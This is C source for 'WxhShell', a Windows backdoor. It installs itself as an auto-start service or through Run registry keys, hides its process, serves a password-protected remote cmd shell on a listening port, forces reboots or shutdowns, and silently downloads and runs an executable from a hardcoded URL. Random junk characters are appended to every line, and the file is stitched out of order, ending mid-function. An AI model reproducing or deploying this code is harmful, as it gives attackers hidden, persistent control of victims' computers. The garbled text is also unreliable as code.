    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M.#7;#B3  
    else { 25f[s.pv8  
    closesocket(wsh); L@'2}7N1%  
    ExitThread(0); $Zr \$z2  
    } &pQ[(|=(  
    break; h3bQ<?m  
    } 7H*,HZc@=  
  // 获取shell Ee_?aG e&  
  case 's': { rK3KxG  
    CmdShell(wsh); yEMM@5W)8  
    closesocket(wsh); ^*YoNd_kpN  
    ExitThread(0); %K+hG=3O  
    break; CIui9XNU  
  } u -)ED  
  // 退出 dt@~8kS  
  case 'x': { NT2XG& $W>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kh@O_Q`j  
    CloseIt(wsh); s2( 7z9jR  
    break; ALn_ifNh  
    } !rs }83w!  
  // 离开 ]cv/dY#  
  case 'q': { nrA 4N1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T+x / J]A  
    closesocket(wsh); _u""v   
    WSACleanup(); ,na}' A@a`  
    exit(1); yN)(MmX'1  
    break; 2}7_Y6RS*  
        } _k : BY  
  } '4 It>50b  
  } ePZ Ai"k  
'gXD?ARW  
  // 提示信息 ]&;In,z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TQ:h[6v  
} 0i"2s}^+_  
  } {\`y)k 7  
uF|Up]Z G  
  return; AFM+`{Cq  
} "uP*pR^  
-[J4nN&N  
// shell模块句柄 >Tjl?CS  
int CmdShell(SOCKET sock) :ssj7wl :  
{ W}N7jPO}  
STARTUPINFO si; #6 ni~d&0  
ZeroMemory(&si,sizeof(si)); $IS!GS&:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +8W5amk.P|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RT3(utwO  
PROCESS_INFORMATION ProcessInfo; R:(i}g<3  
char cmdline[]="cmd"; ; w+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]%I\FefT  
  return 0; i#^YQCy  
} GLESngAl  
.#Nf0  
// 自身启动模式 `mW~{)x  
int StartFromService(void) @U3z@v]s(h  
{ AbhR*  
typedef struct {qlcTc  
{ }ng?Ar[  
  DWORD ExitStatus; T`pDjT  
  DWORD PebBaseAddress; `&.qHw)  
  DWORD AffinityMask; ?-%(K^y4r  
  DWORD BasePriority; 3UmkFK<  
  ULONG UniqueProcessId; "wcw`TsK  
  ULONG InheritedFromUniqueProcessId; Qd\='*:!  
}   PROCESS_BASIC_INFORMATION; cl1ygpf(  
n_rpT .[  
PROCNTQSIP NtQueryInformationProcess; 1_Ks*7vuq  
PNd'21N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Aqmw#X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O9-`e  
aeI0;u  
  HANDLE             hProcess; \2=I//YF  
  PROCESS_BASIC_INFORMATION pbi; m&b1H9ymd  
h_ccE 6]t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A`JE(cIz3  
  if(NULL == hInst ) return 0; 2LR y/ah  
M9o/6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oK-d58 sM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u{va2n/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q]C_idK=  
8X.= 6M  
  if (!NtQueryInformationProcess) return 0; XN6$TNsD$  
1<Mb@t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [0105l5  
  if(!hProcess) return 0; ~4Gc~"  
jUKMDl H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z;P#  
^n<YO=|u  
  CloseHandle(hProcess); U^|T{g+O  
U}DE9e{/!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %FM26^  
if(hProcess==NULL) return 0; ab2Cn|F  
-BI!ZsC'  
HMODULE hMod; $Zo|t a^  
char procName[255]; ;]0d{  
unsigned long cbNeeded; )+'=Zvgej=  
[<{r~YFjWW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rm ;U' &{  
N%>h>HJ  
  CloseHandle(hProcess); t_xK?``  
M*qE)dZjS  
if(strstr(procName,"services")) return 1; // 以服务启动 n*ShYsc  
3) d }3w {  
  return 0; // 注册表启动 N?-ZvE\C  
} 1kpw*$P0  
y\uBVa<B  
// 主模块 ,SNrcwv  
int StartWxhshell(LPSTR lpCmdLine) Ipq0 1 +  
{ )`{m |\b  
  SOCKET wsl; xM!9$v  
BOOL val=TRUE; !4D?X\~"%  
  int port=0; _b/zBFa%  
  struct sockaddr_in door; Jnd_cJ]a  
.tGz,z}  
  if(wscfg.ws_autoins) Install(); vV$t`PEY  
LQr!0p.i"  
port=atoi(lpCmdLine); RCYv2=m>Q  
6nE/8m  
if(port<=0) port=wscfg.ws_port; ?D2a"a$^  
?!jJxhK<h  
  WSADATA data; {DKZ ~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )-1e} VF(U  
YLTg(*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T%& vq6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zj] g^c;  
  door.sin_family = AF_INET; zSD_t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %{4 U\4d@'  
  door.sin_port = htons(port); :<B_V<  
$z*"@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { axt;}8  
closesocket(wsl); [jlum>K  
return 1; %X.g+uu  
} {wA8!5Gu  
,D*bLXWh  
  if(listen(wsl,2) == INVALID_SOCKET) { xR%NiYNQz  
closesocket(wsl); [^ r8P:Ad  
return 1; PKntz7  
} [pp|*@1T  
  Wxhshell(wsl); Y DHP-0?  
  WSACleanup(); (pv}>1  
 XD8 I.q  
return 0; onRTX|#  
~7KH/%Z-  
} wG7>2*(  
@:PMb Ub  
// 以NT服务方式启动 :x[()J~N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ri`6X_xU  
{ &dWGa+e  
DWORD   status = 0; ttJ'6lGXh  
  DWORD   specificError = 0xfffffff; Z ]  G#:  
- A@<zqu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1aIGC9xQ`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4 FZR }e\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q>+rjN;  
  serviceStatus.dwWin32ExitCode     = 0; k'|yUJ,  
  serviceStatus.dwServiceSpecificExitCode = 0; 7- LjBlH  
  serviceStatus.dwCheckPoint       = 0; 0\Jeyb2dl  
  serviceStatus.dwWaitHint       = 0; "|dhmV[;  
psmDGSm,&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Or?c21un  
  if (hServiceStatusHandle==0) return; )V>OND  
|hi,]D^Kc  
status = GetLastError(); Kf[.@_TD<1  
  if (status!=NO_ERROR) q'+ARW48  
{ T-ST M"~%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sCY  
    serviceStatus.dwCheckPoint       = 0; 7bO>[RQB  
    serviceStatus.dwWaitHint       = 0; gI2'[OU  
    serviceStatus.dwWin32ExitCode     = status; _<mY|  
    serviceStatus.dwServiceSpecificExitCode = specificError; cMT:Ij];  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MK/8<i<.  
    return; tF-l=ph}`  
  } A'~mJO/   
[o(!/38"@=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4XVwi<)  
  serviceStatus.dwCheckPoint       = 0; 9#hp]0S6  
  serviceStatus.dwWaitHint       = 0; |y0k}ed  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tw<Oy^ i  
} fUY05OMZ  
/%,aX [  
// 处理NT服务事件,比如:启动、停止 s:xJ }Ll  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6S n&; ap  
{ Z:AB (c  
switch(fdwControl) f'5 6IT  
{ nt()UC`5  
case SERVICE_CONTROL_STOP: W<#!He  
  serviceStatus.dwWin32ExitCode = 0; <XDnAv0t  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :NWIUN  
  serviceStatus.dwCheckPoint   = 0; /*BU5  
  serviceStatus.dwWaitHint     = 0; GT] >  
  { YuVlD/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s#a`e]#?  
  } /Ta-3Eh!  
  return; #W8?E_iu  
case SERVICE_CONTROL_PAUSE: }AB_i'C0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u8>aO>(bVg  
  break; J %A=  
case SERVICE_CONTROL_CONTINUE: ]9w8[T:O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %{rb,6  
  break; zGz}.-F  
case SERVICE_CONTROL_INTERROGATE: wN%lc3[/z2  
  break; cH5  
}; sm{0o$\Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_E2v{*n  
} FCwE/ 2,  
Xr8fmJtg'  
// 标准应用程序主函数 3J 5,V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S},Cz  
{ hG#2}K_  
>\:GFD{z  
// 获取操作系统版本 xq,ql@7  
OsIsNt=GetOsVer(); rA?< \*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dwUDhQt3Q  
+UX~'t_'v  
  // 从命令行安装 <+ [N*  
  if(strpbrk(lpCmdLine,"iI")) Install(); =$y J66e  
)nj fqg  
  // 下载执行文件 zvq}7,  
if(wscfg.ws_downexe) { OS<GAA0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z(%tu  
  WinExec(wscfg.ws_filenam,SW_HIDE);  03zt^<  
} D~i5E9s5  
!Z\Gv1  
if(!OsIsNt) { 3`{ vx  
// 如果时win9x,隐藏进程并且设置为注册表启动 rloxM~7!,)  
HideProc(); j<BRaT  
StartWxhshell(lpCmdLine); jz=V*p}6  
} ,66(*\xT  
else 0$-|Th:o  
  if(StartFromService()) zx]r.V  
  // 以服务方式启动 9a]o?>`E  
  StartServiceCtrlDispatcher(DispatchTable); ,aS+RJNM  
else 1c]{rO=taN  
  // 普通方式启动 K2n#;fY %  
  StartWxhshell(lpCmdLine); GKF!GbGR@  
u$5.GmKm  
return 0; mM?,e7Xhs  
} 3 i>NKS  
eE .wnn  
.XeZjoJ$z  
EJ<L,QH3  
=========================================== I Ij:3HP  
:XAyMK7   
,ZY\})`p  
w<h8`K`3  
LfW:G5@-  
q&?hwX Z7  
" b~* iL!<  
$`\qY ^.(  
#include <stdio.h> :a2[d1  
#include <string.h> s.;'-oA  
#include <windows.h> kxEq_FX  
#include <winsock2.h> wX6-WQR  
#include <winsvc.h> ~}ifwm'7 a  
#include <urlmon.h> 7CF>cpw  
^pew'p HQ  
#pragma comment (lib, "Ws2_32.lib") ^:ny  
#pragma comment (lib, "urlmon.lib") `~lG5|  
#l-zY}&  
#define MAX_USER   100 // 最大客户端连接数 .9z}S=ZK  
#define BUF_SOCK   200 // sock buffer 1~E4]Ef:W  
#define KEY_BUFF   255 // 输入 buffer @mg5vt!$`  
2g5 4<G*e  
#define REBOOT     0   // 重启 _ Dz*%  
#define SHUTDOWN   1   // 关机 Ho(}_Q&  
) Kl@dj  
#define DEF_PORT   5000 // 监听端口 .L1[Rv3  
KI*b We  
#define REG_LEN     16   // 注册表键长度 (gvnIoDl0  
#define SVC_LEN     80   // NT服务名长度 3"my!}03  
NW;_4g4qE  
// 从dll定义API wi.E$R ckD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jjEu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dG~U3\!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _PC<Td>nm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $}S0LZ_H  
$K\e Pfk  
// wxhshell配置信息 q2`mu4B  
struct WSCFG { Ny`SE\B+/  
  int ws_port;         // 监听端口 3@O/#CP+  
  char ws_passstr[REG_LEN]; // 口令 Jc5Y Gj7  
  int ws_autoins;       // 安装标记, 1=yes 0=no N|@ tP:j  
  char ws_regname[REG_LEN]; // 注册表键名 @sZ' --Y  
  char ws_svcname[REG_LEN]; // 服务名 T:K}mLSg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #fx"tx6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n|Y}M]u,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,+v(?5[6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x@O )QaBN!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lF46W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [z7]@v6b  
z,dF Dl$  
}; Z RwN#?x  
x+%> 2qgj"  
// default Wxhshell configuration NaQ~iY?  
struct WSCFG wscfg={DEF_PORT, OaoHN& "  
    "xuhuanlingzhe", \f Kn} ]kG  
    1, ei1;@k/  
    "Wxhshell", b"td]H3h  
    "Wxhshell", pV:44  
            "WxhShell Service", fh1-]$z`~  
    "Wrsky Windows CmdShell Service", %Y#W#G  
    "Please Input Your Password: ", q`z1ht nf  
  1, fU%Mz\t  
  "http://www.wrsky.com/wxhshell.exe", N;}X$b5Y @  
  "Wxhshell.exe" bYhG`1,$-a  
    }; u9c^YCBM  
e iH&<AH  
// 消息定义模块 2t?>0)*m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wXdt\@Qr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D]'8BS3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vt(}8C+  
char *msg_ws_ext="\n\rExit."; XS&;8 PO  
char *msg_ws_end="\n\rQuit."; 9 MQwc  
char *msg_ws_boot="\n\rReboot..."; |KPNl\%ID  
char *msg_ws_poff="\n\rShutdown..."; pxyFM@Z](  
char *msg_ws_down="\n\rSave to "; Ho&f[T(  
S @!z'$&  
char *msg_ws_err="\n\rErr!"; "_BWUY  
char *msg_ws_ok="\n\rOK!"; !VudZ]Sg  
Aq'~'hS`1  
char ExeFile[MAX_PATH]; s6;ZaU  
int nUser = 0; tdu:imH~  
HANDLE handles[MAX_USER]; A+\rGVNH'S  
int OsIsNt; e!C,<W&B\  
*U8,Q]gS  
SERVICE_STATUS       serviceStatus; wA,-!m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mQU t 'j4  
.]<iRf[\[  
// 函数声明 Gcxz$.(  
int Install(void); C4d CaiX  
int Uninstall(void); G$/Qcr6W<  
int DownloadFile(char *sURL, SOCKET wsh); Rf=-Q %  
int Boot(int flag); $|!3ks  
void HideProc(void); HG5E,^1n  
int GetOsVer(void); Pum&\.l  
int Wxhshell(SOCKET wsl); Y~#.otBL&  
void TalkWithClient(void *cs); w; f LnEz_  
int CmdShell(SOCKET sock); \l5G   
int StartFromService(void); F 6+4Yy+  
int StartWxhshell(LPSTR lpCmdLine); l[WX77bp=  
:8+x&zn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A&-2f]L tl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,^v_gc  
Ck/w:i@>?  
// 数据结构和表定义 4VsttT  
SERVICE_TABLE_ENTRY DispatchTable[] = 'XYjo&w  
{ )7E7K%:b,  
{wscfg.ws_svcname, NTServiceMain}, k%N$eO$  
{NULL, NULL} Vm I Afe  
}; ?4W6TSW-'  
+j8-l-o  
// 自我安装 :F"NF  
int Install(void) cvtn,Ml6  
{ 7s0y.i~  
  char svExeFile[MAX_PATH]; +&M>J|  
  HKEY key; x;STt3M~  
  strcpy(svExeFile,ExeFile); !0KN A1w,  
=C)2DWJ1  
// 如果是win9x系统,修改注册表设为自启动 e>uq/|.!  
if(!OsIsNt) { tjne[p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ojIGfQV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "%rU1/@#  
  RegCloseKey(key); J~ z00p`E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 69odE+-X.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7< ?Aou  
  RegCloseKey(key); zrC1/%T  
  return 0; $TAsb>W!(  
    }  [cfXcl  
  } ,x[~|J!  
} ob[G3rfd@Z  
else { iE ,"YCK  
2ryg3% +O  
// 如果是NT以上系统,安装为系统服务 9wC='  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u*7>0o|H:  
if (schSCManager!=0) -Ji uq  
{ PL3oV<\4s>  
  SC_HANDLE schService = CreateService 1n>AN.nI  
  ( Q$yQ^ mG  
  schSCManager, {q);1Nnf  
  wscfg.ws_svcname, W{]r_`=:6S  
  wscfg.ws_svcdisp, m='_ O+ $  
  SERVICE_ALL_ACCESS, @.QuIm8,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B/JMH 1r  
  SERVICE_AUTO_START, MBol_#H  
  SERVICE_ERROR_NORMAL, Fj&8wZ)v)  
  svExeFile, [bBPs&7u  
  NULL, oPF n`8dQ  
  NULL,  (S&D  
  NULL, `cRRdD:dA  
  NULL, t6%zfm   
  NULL R:44Gv7  
  ); &?9~e>.OS  
  if (schService!=0) {^R" V ,)  
  {  I$fm"N  
  CloseServiceHandle(schService); ?y[i6yN9  
  CloseServiceHandle(schSCManager); 4(8BWP~.y2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LdX'V]ITh  
  strcat(svExeFile,wscfg.ws_svcname); d}^hZ8k|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x^YsXzu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FJ|JXH*  
  RegCloseKey(key); Yjx4H  
  return 0; xl(R|D))  
    } 'FG@Rg (  
  } `] Zil8n  
  CloseServiceHandle(schSCManager); *!}bU`  
} <$ ` ^  
} ;x u&%n[6@  
Uee$5a>(  
return 1; msZ 3%L  
} ~8lB#NuN  
m{ rsjdnA  
// 自我卸载 #\3X;{  
int Uninstall(void) p$XvVzW#<  
{ 0P4g6t}e  
  HKEY key; N8{ 8 a  
)gxZ &n6  
if(!OsIsNt) { 9u_D@A"aC`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G4n-}R&'  
  RegDeleteValue(key,wscfg.ws_regname); ebf/cC h  
  RegCloseKey(key); F||oSJrI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !z+'mF?V+X  
  RegDeleteValue(key,wscfg.ws_regname); -&LF`V&3w  
  RegCloseKey(key); uNvdlY]  
  return 0; .JWN\\  
  } R& HkWe  
} }Q;^C  
} x 4`RKv2m  
else { Fma#`{va  
/t _QA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \~>7n'd ]  
if (schSCManager!=0) H66F4i  
{ `M,Gsy1h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >ti)m >f  
  if (schService!=0) wG&rkg";#  
  { <im<0;i&e  
  if(DeleteService(schService)!=0) { 3'tq`t:SQ  
  CloseServiceHandle(schService); e,@5`aYHM@  
  CloseServiceHandle(schSCManager); xL!@$;J  
  return 0; 7$JE+gL/7  
  } {$_Gjv  
  CloseServiceHandle(schService); mFuHZ)iQG  
  } i[ n3ILn  
  CloseServiceHandle(schSCManager); }^*m0`H  
} tAS[T9B  
} -N1X=4/fg  
{6>:= ?7]R  
return 1; S2~im?^21  
} _j\ 8u`^n  
AXPdgo6  
// 从指定url下载文件 PED5>90  
int DownloadFile(char *sURL, SOCKET wsh) X[1w(dU[  
{ ##yH*{/&  
  HRESULT hr; U %aDkC+M  
char seps[]= "/"; RnUud\T/  
char *token; hJ*#t<.<P;  
char *file; >d^DN;p  
char myURL[MAX_PATH]; xc1-($Q,  
char myFILE[MAX_PATH]; _#6*C%ax  
6'1Lu1w  
strcpy(myURL,sURL); R"O,2+@<.  
  token=strtok(myURL,seps); '6f)^DYA'?  
  while(token!=NULL) Zy^ wS1io  
  { q.d qr<  
    file=token; OCWyp  
  token=strtok(NULL,seps); d'e\tO  
  } X GDJCN  
1 o\COnt  
GetCurrentDirectory(MAX_PATH,myFILE); ~4`3p=$  
strcat(myFILE, "\\"); +}^^]J$Nh  
strcat(myFILE, file); lN[#+n  
  send(wsh,myFILE,strlen(myFILE),0); +qM2&M  
send(wsh,"...",3,0); NrfAr}v'E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g,\O}jT\'  
  if(hr==S_OK) W,[iRmxn  
return 0; 6G>loNM^  
else I\$?'q>  
return 1; k$ w#:Sx  
0Q:l,\lY  
} Gs(;&fw  
_?;74VWA  
// 系统电源模块 fI-f Gx  
int Boot(int flag) D<Z]kR(  
{ p w=o}-P{  
  HANDLE hToken; j.SE'a_  
  TOKEN_PRIVILEGES tkp; ~.J{yrJ&  
$NwPGy?%  
  if(OsIsNt) { #c`/ f6z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y6gaoj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QT[4\)  
    tkp.PrivilegeCount = 1; G$6mtw6[M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u'Z^|IVfo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]oyWJ#8  
if(flag==REBOOT) { >$;,1N $bd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PS`F  
  return 0; \kC'y9k  
} d(9C7GLC,  
else { +pbP;zu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GT-ONwVDq  
  return 0; VN]"[  
} UMlvu?u2p1  
  } dRXrI  
  else { LCok4N$o  
if(flag==REBOOT) { Ksvk5r&y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O2oF\E_6  
  return 0; Twpk@2=l  
} }}4uLGu)  
else { i6xzHfaYG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G3.\x_;k  
  return 0; k3&/Ei5  
} /=:F w}vt  
} HnY.=_G  
e@g=wN"@  
return 1; !+n'0{  
} >,c'Z<TM  
M~g@y$  
// win9x进程隐藏模块 {R7m qzt  
void HideProc(void) 921s'"  
{ :qtg`zM/4  
>9X+\eg-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X9ec*x  
  if ( hKernel != NULL ) 5YQJNP  
  { XZj3x',;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .8]=yPm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L.% zs  
    FreeLibrary(hKernel); -;GB Xq  
  } 8n/[oDc]  
Nd**":i$  
return; M#xol/)h  
} UW-`k1  
^'4I%L"  
// 获取操作系统版本 -z>m]YDH  
int GetOsVer(void) SHqz &2u  
{ Gc<^ b  
  OSVERSIONINFO winfo; L:Me  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q `L}\}o  
  GetVersionEx(&winfo); BJnysQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t[\6/`YH  
  return 1; r z5@E  
  else PH=O>a`a_O  
  return 0; oX?~  
} c)SQ@B@q  
Q,R|VI6Co  
// 客户端句柄模块 M&0U@ r-  
int Wxhshell(SOCKET wsl) 1c:/c|shQ_  
{ /B5rWJ2AS  
  SOCKET wsh; +l>X Z  
  struct sockaddr_in client; &8hW~G>(m  
  DWORD myID; gflO0$i  
p I@!2c:}  
  while(nUser<MAX_USER) ,UneS  
{ q5>!.v   
  int nSize=sizeof(client); [`bA,)y"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AnQUdU  
  if(wsh==INVALID_SOCKET) return 1; -9$.&D|  
pwo @ S"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); - 4B&{P  
if(handles[nUser]==0) h]k1vp)Q y  
  closesocket(wsh); ^6 \@$   
else Uk4G9}I  
  nUser++; x6 h53R  
  } Gvc/o$_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b`|,rfq^AZ  
m<|fdS'@  
  return 0; `6o5[2V  
} R5fZ }C7  
sb</-']a  
// 关闭 socket Fc a_(jw  
void CloseIt(SOCKET wsh) gr4JaV  
{ 7'R7J"sY`|  
closesocket(wsh); h~k+!\  
nUser--; _j|U>s   
ExitThread(0); HvW6=d(#  
} '.#3h$d  
b%e7rY2  
// 客户端请求句柄 'PdUSv|lH  
void TalkWithClient(void *cs) r%%<   
{ (sEZNo5n  
1|5TuljTd  
  SOCKET wsh=(SOCKET)cs; N0UZ%,h\  
  char pwd[SVC_LEN]; IUQYoKz4}A  
  char cmd[KEY_BUFF]; ~uEI}z  
char chr[1]; #;<dtw  
int i,j; S5wkBdr{  
PAv<J<d  
  while (nUser < MAX_USER) { i{k v$ir!  
1f0maN  
if(wscfg.ws_passstr) { %DhLU~VX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UsdUMt!u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l"9$lF}  
  //ZeroMemory(pwd,KEY_BUFF); uar[D|DcD"  
      i=0; iU4Z9z!  
  while(i<SVC_LEN) { : W0;U  
'! ~ s=  
  // 设置超时 64f6D"."  
  fd_set FdRead; rqhRrG{L|&  
  struct timeval TimeOut; P^'}3*8S  
  FD_ZERO(&FdRead); 8<Ex`  
  FD_SET(wsh,&FdRead); N-}|!pqb  
  TimeOut.tv_sec=8; Q=#!wWVP  
  TimeOut.tv_usec=0; z A@w[.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #v:A-u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N~9zQ  
)!d_Td\-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hr/|Fn+kA  
  pwd=chr[0]; _kQOax{c/  
  if(chr[0]==0xd || chr[0]==0xa) { > `+lEob  
  pwd=0; qEnmms1  
  break; NucLf6  
  } . "`f~s\G  
  i++; OZE.T-{  
    } }62Q{>`  
$"`e^J9!!  
  // 如果是非法用户,关闭 socket TV(%e4U=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <"!'>ZUt  
} P;p;o]  
sW!MVv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (t"rzH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5z"[{ #/  
Ms=11C  
while(1) { (:|1h@K/R  
"oT]_WHqo  
  ZeroMemory(cmd,KEY_BUFF); lsB.>NlU  
k:CSH{s5{  
      // 自动支持客户端 telnet标准   *|)O  
  j=0; 'd9cCQ}  
  while(j<KEY_BUFF) { FO?I}G22  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <u2iXH5w  
  cmd[j]=chr[0]; "Kf4v|6;  
  if(chr[0]==0xa || chr[0]==0xd) { Q&?B^[N*Q  
  cmd[j]=0; $kn"S>jV  
  break; l6HT}x7OiH  
  } 09Y:(2Qri  
  j++; P:c 'W?  
    } @v n%  
_Uu p*#m  
  // 下载文件 >I9|N}I  
  if(strstr(cmd,"http://")) { q%wF=<W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z. xRJ  
  if(DownloadFile(cmd,wsh)) vjYG>YhV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8rSu,&<  
  else d4A3DTW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |p":s3K"Hy  
  } Y~I6ee,\  
  else { E1Rz<&L  
;V)94YT  
    switch(cmd[0]) { 0coRar?+b  
  d(6&kXK  
  // 帮助 wm/>_  
  case '?': { K${CHKFf  
